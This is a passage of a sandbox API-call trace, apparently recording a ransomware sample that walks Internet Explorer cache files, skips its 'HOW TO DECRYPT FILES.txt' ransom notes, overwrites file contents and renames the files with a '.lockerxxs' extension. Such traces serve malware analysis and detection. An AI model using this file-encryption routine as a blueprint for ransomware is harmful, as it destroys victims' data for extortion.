lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.526] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="desktop.ini") returned 1 [0083.526] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="desktop.ini") returned 1 [0083.526] lstrcmpiA (lpString1="", lpString2="desktop.ini") returned -1 [0083.526] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ContainerTag[1].js") returned="ContainerTag[1].js" [0083.527] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x60d9a020, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x60d9a020, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x60de62e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x48ba, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="eula-mac[1].jpg", cAlternateFileName="EULA-M~1.JPG")) returned 1 [0083.527] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.527] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="eula-mac[1].jpg") returned -1 [0083.527] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="eula-mac[1].jpg") returned 1 [0083.527] lstrcmpiA (lpString1="", lpString2="eula-mac[1].jpg") returned -1 [0083.527] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\desktop.ini") returned="desktop.ini" [0083.530] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\eula-mac[1].jpg") returned="eula-mac[1].jpg" [0083.530] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.530] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x4894, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x4894, lpOverlapped=0x0) returned 1 [0083.531] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.531] CloseHandle (hObject=0xa4) returned 1 [0083.531] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\eula-mac[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\eula-mac[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\eula-mac[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\eula-mac[1].jpg.lockerxxs")) returned 1 [0083.532] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x61093ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61093ba0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x61093ba0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xa84a, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="ga[1].js", cAlternateFileName="GA_1_~1.JS")) returned 1 [0083.532] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.532] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ga[1].js") returned -1 [0083.532] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ga[1].js") returned 1 [0083.532] lstrcmpiA (lpString1="", lpString2="ga[1].js") returned -1 [0083.532] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\eula-mac[1].jpg") returned="eula-mac[1].jpg" [0083.533] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe15e7f0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe15e7f0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbe1f6d70, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1305, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1D;kvgrp=852361999;kvismob=2;extmirroring=0;kvtile=5;target=_blank;aduho=600;grp=852361999[1]", cAlternateFileName="GETYPE~1")) returned 1 [0083.533] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.533] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1D;kvgrp=852361999;kvismob=2;extmirroring=0;kvtile=5;target=_blank;aduho=600;grp=852361999[1]") returned -1 [0083.534] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1D;kvgrp=852361999;kvismob=2;extmirroring=0;kvtile=5;target=_blank;aduho=600;grp=852361999[1]") returned 1 [0083.534] lstrcmpiA (lpString1="", lpString2="getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1D;kvgrp=852361999;kvismob=2;extmirroring=0;kvtile=5;target=_blank;aduho=600;grp=852361999[1]") returned -1 [0083.534] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ga[1].js") returned="ga[1].js" [0083.534] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x659c6020, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x659c6020, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65c99a40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe6c, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="GoogleInstaller_de[1].application", cAlternateFileName="GOOGLE~1.APP")) returned 1 [0083.534] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.534] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="GoogleInstaller_de[1].application") returned -1 [0083.534] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="GoogleInstaller_de[1].application") returned 1 [0083.534] lstrcmpiA (lpString1="", lpString2="GoogleInstaller_de[1].application") returned -1 [0083.534] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1D;kvgrp=852361999;kvismob=2;extmirroring=0;kvtile=5;target=_blank;aduho=600;grp=852361999[1]") returned="getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1D;kvgrp=852361999;kvismob=2;extmirroring=0;kvtile=5;target=_blank;aduho=600;grp=852361999[1]" [0083.535] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="HOW TO DECRYPT FILES.txt", cAlternateFileName="HOWTOD~1.TXT")) returned 1 [0083.535] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.535] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="HOW TO DECRYPT FILES.txt") returned -1 [0083.535] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="HOW TO DECRYPT FILES.txt") returned 0 [0083.535] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf03f170, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf03f170, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf0652d0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x4c9, dwReserved0=0x18efdc, dwReserved1=0x4f0048, cFileName="js[1]", cAlternateFileName="JS_1_~1")) returned 1 [0083.535] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.535] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="js[1]") returned -1 [0083.535] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="js[1]") returned -1 [0083.535] lstrcmpiA (lpString1="", lpString2="js[1]") returned -1 [0083.535] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\GoogleInstaller_de[1].application") returned="GoogleInstaller_de[1].application" [0083.535] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf2544b0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf2544b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf2544b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x562, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="js[2]", cAlternateFileName="JS_2_~1")) returned 1 [0083.535] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.535] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="js[2]") returned -1 [0083.535] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="js[2]") returned -1 [0083.535] lstrcmpiA (lpString1="", lpString2="js[2]") returned -1 [0083.535] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\js[1]") returned="js[1]" [0083.536] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54feddb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54feddb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x550601d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x7a43, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="latest[1].eot", cAlternateFileName="LATEST~1.EOT")) returned 1 [0083.536] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.536] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="latest[1].eot") returned -1 [0083.536] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="latest[1].eot") returned -1 [0083.536] lstrcmpiA (lpString1="", lpString2="latest[1].eot") returned -1 [0083.536] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\js[2]") returned="js[2]" [0083.536] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54cce0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54cce0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54d1a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1a114, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="MemMDL2.2.17[1].eot", cAlternateFileName="MEMMDL~1.EOT")) returned 1 [0083.536] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.536] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MemMDL2.2.17[1].eot") returned -1 [0083.536] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MemMDL2.2.17[1].eot") returned -1 [0083.536] lstrcmpiA (lpString1="", lpString2="MemMDL2.2.17[1].eot") returned -1 [0083.536] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\latest[1].eot") returned="latest[1].eot" [0083.537] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x605b7740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605b7740, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x605b7740, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x46c9, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="modernizr[1].js", cAlternateFileName="MODERN~1.JS")) returned 1 [0083.537] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.537] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="modernizr[1].js") returned -1 [0083.537] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="modernizr[1].js") returned -1 [0083.537] lstrcmpiA (lpString1="", lpString2="modernizr[1].js") returned -1 [0083.537] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\MemMDL2.2.17[1].eot") returned="MemMDL2.2.17[1].eot" [0083.537] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x457e4610, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x457e4610, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x457e4610, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0xec5, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="MSNIdSync[1].js", cAlternateFileName="MSNIDS~1.JS")) returned 1 [0083.537] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.537] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSNIdSync[1].js") returned -1 [0083.537] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSNIdSync[1].js") returned -1 [0083.537] lstrcmpiA (lpString1="", lpString2="MSNIdSync[1].js") returned -1 [0083.537] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\modernizr[1].js") returned="modernizr[1].js" [0083.537] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbfbb3b50, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbfbb3b50, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbfbb3b50, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="only[1].htm", cAlternateFileName="ONLY_1~1.HTM")) returned 1 [0083.537] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.538] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="only[1].htm") returned -1 [0083.538] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="only[1].htm") returned -1 [0083.538] lstrcmpiA (lpString1="", lpString2="only[1].htm") returned -1 [0083.538] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\MSNIdSync[1].js") returned="MSNIdSync[1].js" [0083.538] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x456d9c70, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x456d9c70, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x456d9c70, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x6b6d, dwReserved0=0x0, dwReserved1=0x0, cFileName="player[1].js", cAlternateFileName="PLAYER~1.JS")) returned 1 [0083.538] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.538] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="player[1].js") returned -1 [0083.538] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="player[1].js") returned -1 [0083.538] lstrcmpiA (lpString1="", lpString2="player[1].js") returned -1 [0083.538] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\only[1].htm") returned="only[1].htm" [0083.539] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x456d9c70, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x456d9c70, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45856a30, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x5f44, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="player[2].js", cAlternateFileName="PLAYER~2.JS")) returned 1 [0083.539] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.539] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="player[2].js") returned -1 [0083.539] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="player[2].js") returned -1 [0083.539] lstrcmpiA (lpString1="", lpString2="player[2].js") returned -1 [0083.539] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\player[1].js") returned="player[1].js" [0083.539] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbfb41730, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbfb41730, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbfb41730, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x67, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="tecjslog[1].png", cAlternateFileName="TECJSL~1.PNG")) returned 1 [0083.539] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.539] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="tecjslog[1].png") returned -1 [0083.539] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="tecjslog[1].png") returned -1 [0083.539] lstrcmpiA (lpString1="", lpString2="tecjslog[1].png") returned -1 [0083.539] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\player[2].js") returned="player[2].js" [0083.544] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\tecjslog[1].png") returned="tecjslog[1].png" [0083.544] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.545] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x41, lpOverlapped=0x0) returned 1 [0083.546] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.546] CloseHandle (hObject=0xa4) returned 1 [0083.546] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\tecjslog[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\tecjslog[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\tecjslog[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\tecjslog[1].png.lockerxxs")) returned 1 [0083.547] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x692027e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x692027e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69232580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x805a, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="thankyou[1].htm", cAlternateFileName="THANKY~1.HTM")) returned 1 [0083.547] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.547] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="thankyou[1].htm") returned -1 [0083.547] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="thankyou[1].htm") returned -1 [0083.547] lstrcmpiA (lpString1="", lpString2="thankyou[1].htm") returned -1 [0083.547] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\tecjslog[1].png") returned="tecjslog[1].png" [0083.551] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\thankyou[1].htm") returned="thankyou[1].htm" [0083.552] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.552] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x8034, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x8034, lpOverlapped=0x0) returned 1 [0083.552] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.552] CloseHandle (hObject=0xa4) returned 1 [0083.553] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\thankyou[1].htm" (normalized: "c:\\users\\5p5nrgjn0js 